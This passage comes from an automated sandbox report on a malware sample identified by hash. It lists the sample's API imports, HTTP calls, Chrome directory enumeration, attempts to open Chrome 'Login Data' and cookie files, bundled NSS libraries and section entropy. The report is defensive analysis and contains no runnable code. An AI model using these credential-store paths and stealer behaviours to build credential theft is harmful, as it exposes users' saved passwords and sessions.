"InternetOpen"; Source: "00000000-00001720-00000C29-1834483149") Found reference to API "HttpSendRequestA" (Indicator: "HttpSendRequest"; Source: "00000000-00001720-00000C29-1834483200") Found reference to API "HttpOpenRequestA" (Indicator: "HttpOpenRequest"; Source: "00000000-00001720-00000C29-1834483259") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00001720-00000C29-1834483314") Found reference to API "HttpQueryInfoA" (Indicator: "HttpQueryInfo"; Source: "00000000-00001720-00000C29-1834483447") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API "HttpSendRequestA" (Indicator: "HttpSendRequest"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API "HttpOpenRequestA" (Indicator: "HttpOpenRequest"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API "InternetConnectA" (Indicator: "InternetConnect"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API "InternetOpenUrlA" (Indicator: "InternetOpen"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API "HttpQueryInfoA" (Indicator: "HttpQueryInfo"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp")49:T4c2,"bf3bc85903e812ff6a136924bf8ab376.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Login Data" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account\NETWORK\COOKIES" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account-journal\NETWORK\COOKIES" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Login Data-journal\NETWORK\COOKIES" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to open a file "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to open a file "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data For Account\NETWORK\COOKIES" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to open a file "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data For Account-journal\NETWORK\COOKIES" "bf3bc85903e812ff6a136924bf8ab376.exe" trying to open a file "%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data-journal\NETWORK\COOKIES"4a:T52d,Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API "GetUserObjectInformationA" (Indicator: "GetUserObjectInformation"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API "GetUserNameA" (Indicator: "GetUserName"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API "9972810656,4572,3184,,GetUserNameA,advapi32.dll,"00:47:03.984",RX=0,PX=0" (Indicator: "GetUserName"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API "NtQueryInformationProcess" (Indicator: "NtQueryInformationProcess"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp")4b:T854,"nss3_1_.dll" contains export function called "ATOB_AsciiToData" at ordinal 1 "nss3_1_.dll" contains export function called "ATOB_AsciiToData_Util" at ordinal 2 "nss3_1_.dll" contains export function called "ATOB_ConvertAsciiToItem_Util" at ordinal 3 "nss3_1_.dll" contains export function called "BTOA_ConvertItemToAscii_Util" at ordinal 4 "nss3_1_.dll" contains export function called "BTOA_DataToAscii" at ordinal 5 "nss3_1_.dll" contains export function called "BTOA_DataToAscii_Util" at ordinal 6 "nss3_1_.dll" contains export function called "CERT_AddCertToListHead" at ordinal 7 "nss3_1_.dll" contains export function called "CERT_AddCertToListTail" at ordinal 8 "nss3_1_.dll" contains export function called "CERT_AddExtension" at ordinal 9 "nss3_1_.dll" contains export function called "CERT_AddExtensionByOID" at ordinal 10 "nss3_1_.dll" contains export function called "CERT_AsciiToName" at ordinal 11 "nss3_1_.dll" contains export function called "CERT_CacheOCSPResponseFromSideChannel" at ordinal 12 "nss3_1_.dll" contains export function called "CERT_CertChainFromCert" at ordinal 13 "nss3_1_.dll" contains export function called "CERT_CertListFromCert" at ordinal 14 "nss3_1_.dll" contains export function called "CERT_CertificateRequestTemplate" at ordinal 15 "nss3_1_.dll" contains export function called "CERT_CertificateTemplate" at ordinal 16 "nss3_1_.dll" contains export function called "CERT_ChangeCertTrust" at ordinal 17 "nss3_1_.dll" contains export function called "CERT_CheckCertUsage" at ordinal 18 "nss3_1_.dll" contains export function called "CERT_CheckCertValidTimes" at ordinal 19 "nss3_1_.dll" contains export function called "CERT_CheckNameSpace" at ordinal 20 "nss3_1_.dll" contains export function called "CERT_ClearOCSPCache" at ordinal 21 "nss3_1_.dll" contains export function called "CERT_CompareCerts" at ordinal 22 "nss3_1_.dll" contains export function called "CERT_CompareName" at ordinal 23 "nss3_1_.dll" contains export function called "CERT_ConvertAndDecodeCertificate" at ordinal 24 "nss3_1_.dll" contains export function called "CERT_CopyName" at ordinal 254c:T40b,Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API "PR_LoadLibraryWithFlags" (Indicator: "LoadLibrary"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp, 00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp")4d:T891,"bf3bc85903e812ff6a136924bf8ab376.exe" called "FindFirstFileA" with parameter %LOCALAPPDATA%\Google\Chrome\User Data\* (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "FindNextFileA" with parameter .. (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "FindNextFileA" with parameter AutofillStates (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "FindFirstFileA" with parameter %LOCALAPPDATA%\Google\Chrome\User Data\AutofillStates\* (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "FindNextFileA" with parameter BrowserMetrics (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "FindFirstFileA" with parameter %LOCALAPPDATA%\Google\Chrome\User Data\BrowserMetrics\* (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "FindNextFileA" with parameter BrowserMetrics-65EB3852-1DAC.pma (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "FindNextFileA" with parameter BrowserMetrics-65EB3888-13E4.pma (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "FindNextFileA" with parameter BrowserMetrics-660D491F-1F5C.pma (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "FindNextFileA" with parameter BrowserMetrics-660D4992-1AB4.pma (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "FindNextFileA" with parameter CertificateRevocation (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "FindFirstFileA" with parameter %LOCALAPPDATA%\Google\Chrome\User Data\CertificateRevocation\* (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "FindNextFileA" with parameter CommerceHeuristics (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "FindFirstFileA" with parameter %LOCALAPPDATA%\Google\Chrome\User Data\CommerceHeuristics\* (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "FindNextFileA" with parameter Crashpad (UID: 00000000-00001720) "bf3bc85903e812ff6a136924bf8ab376.exe" called "FindFirstFileA" with parameter %LOCALAPPDATA%\Google\Chrome\User Data\Crashpad\* (UID: 00000000-00001720)4e:T4f2,"bf3bc85903e812ff6a136924bf8ab376.exe" has section name .text with entropy "7.61987244461" "nss3_1_.dll" has section name .text with entropy "6.61958120406" "nss3_1_.dll" has section name .rdata with entropy "6.24441643904" "nss3_1_.dll" has section name .reloc with entropy "6.71009935478" "chrome.dll" has section name .text with entropy "6.60739131417" "chrome.dll" has section name .reloc with entropy "6.53881756978" "freebl3.dll" has section name .text with entropy "6.5463579648" "freebl3.dll" has section name .rdata with entropy "7.25456623223" "freebl3.dll" has section name .reloc with entropy "6.68561568742" "mozglue.dll" has section name .text with entropy "6.63787504045" "mozglue.dll" has section name .reloc with entropy "6.79773656815" "msvcp140_1_.dll" has section name .text with entropy "6.55758671225" "msvcp140_1_.dll" has section name .reloc with entropy "6.59451188828" "softokn3_1_.dll" has section name .text with entropy "6.39233209988" "softokn3_1_.dll" has section name .rdata with entropy "6.54264718301" "softokn3_1_.dll" has section name .reloc with entropy "6.56355490645" "vcruntime140.dll" has section name .text with entropy "6.59414032046" "vcruntime140.dll" has section name .reloc with entropy "6.06059443988"4f:Tdb57,Found reference to API (Indicator: "GetStdHandle"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetConsoleOutputCP"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetFileAttributesW"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "FreeEnvironmentStringsA"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "DeleteCriticalSection"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetCurrentProcess"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetConsoleMode"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetLocaleInfoA"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "FreeEnvironmentStringsW"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "SetStdHandle"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetCPInfo"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetStringTypeA"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "WriteFile"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "HeapReAlloc"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetStringTypeW"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "SetFileAttributesA"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetLogicalDriveStringsA"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "InterlockedDecrement"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "SetLastError"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "ReadConsoleInputA"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "TlsAlloc"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetModuleFileNameW"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "IsDebuggerPresent"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "ExitProcess"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetVersionExA"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetModuleFileNameA"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "UnhandledExceptionFilter"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "SetFileShortNameA"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "MultiByteToWideChar"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetModuleHandleA"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "InterlockedExchangeAdd"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "ClearCommError"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "SetEnvironmentVariableA"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "TerminateProcess"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "WriteConsoleA"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetCurrentThreadId"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "LeaveCriticalSection"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "WriteConsoleW"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "HeapFree"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "EnterCriticalSection"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "SetHandleCount"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "WriteConsoleInputA"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "LoadLibraryW"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetOEMCP"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "QueryPerformanceCounter"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetTickCount"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "CallNamedPipeA"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "FlushFileBuffers"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "LoadLibraryA"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "RtlUnwind"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetStartupInfoA"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetStartupInfoW"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetProcAddress"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetComputerNameW"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetTimeFormatW"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetDllDirectoryW"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GlobalFix"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "InterlockedIncrement"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetTempFileNameA"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "OpenJobObjectW"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetCurrencyFormatA"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetFileType"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "TlsSetValue"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "CreateFileA"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "HeapAlloc"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "OpenJobObjectA"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetLastError"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "LCMapStringW"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetShortPathNameW"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetConsoleCP"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "LCMapStringA"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "DefineDosDeviceA"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetEnvironmentStringsW"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetConsoleAliasExesW"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "VirtualFree"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "EnumTimeFormatsW"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetCurrentDirectoryW"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetCurrentProcessId"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetCommandLineW"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "WideCharToMultiByte"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "HeapSize"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "InterlockedCompareExchange"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "RaiseException"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "TlsFree"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "SetFilePointer"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "CloseHandle"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GlobalWire"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetACP"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetCommConfig"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetModuleHandleW"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "TlsGetValue"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "IsValidCodePage"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "HeapCreate"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "CreateProcessW"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "Sleep"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "OpenEventA"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "VirtualAlloc"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetKeyboardLayoutNameA"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "EncodePointer"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "DecodePointer"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "FlsFree"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "FlsSetValue"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "FlsGetValue"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "FlsAlloc"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetProcessWindowStation"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetUserObjectInformationA"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetLastActivePopup"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetActiveWindow"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "MessageBoxA"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "IsProcessorFeaturePresent"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetTokenInformation"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "SetSecurityDescriptorDacl"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "OpenProcessToken"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "FreeSid"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "CopySid"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "AddAccessAllowedAce"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "AllocateAndInitializeSid"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "InitializeSecurityDescriptor"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "InitializeAcl"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetLengthSid"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "SetSecurityDescriptorOwner"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "SetSecurityDescriptorGroup"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "ReleaseMutex"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetFileAttributesA"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "WaitForSingleObject"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "HeapDestroy"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "DebugBreak"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetHandleInformation"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "CreatePipe"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetFileInformationByHandle"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "InitializeSListHead"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetTempPathA"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetDiskFreeSpaceW"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetTempPathW"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "FormatMessageW"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GlobalMemoryStatusEx"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetDiskFreeSpaceA"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetFullPathNameA"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetExitCodeProcess"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "LocalFree"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "MoveFileA"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "ResumeThread"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "InitializeCriticalSection"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "OutputDebugStringW"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "FindClose"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "MoveFileW"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetFullPathNameW"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "OutputDebugStringA"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetSystemTime"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "TryEnterCriticalSection"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "RemoveDirectoryA"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "FlushViewOfFile"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "LoadLibraryExA"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "SetThreadPriority"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "LoadLibraryExW"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "FormatMessageA"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "CreateMutexA"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "LockFileEx"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "CreateSemaphoreA"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "CreateMutexW"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "SetHandleInformation"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "VirtualQuery"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "SetEndOfFile"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "AreFileApisANSI"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "FreeLibrary"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "VirtualProtect"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "UnlockFile"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetFileSize"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "CreateDirectoryA"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "DeleteFileA"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "DeleteFileW"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetProcessHeap"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "CreateFileMappingW"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "FindFirstFileA"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "HeapValidate"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "CreateFileMappingA"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "FindNextFileA"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "DuplicateHandle"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "CreateFileW"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "SystemTimeToFileTime"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "UnmapViewOfFile"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetSystemInfo"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "LockFile"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "HeapCompact"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "WaitForSingleObjectEx"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetEnvironmentStrings"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: 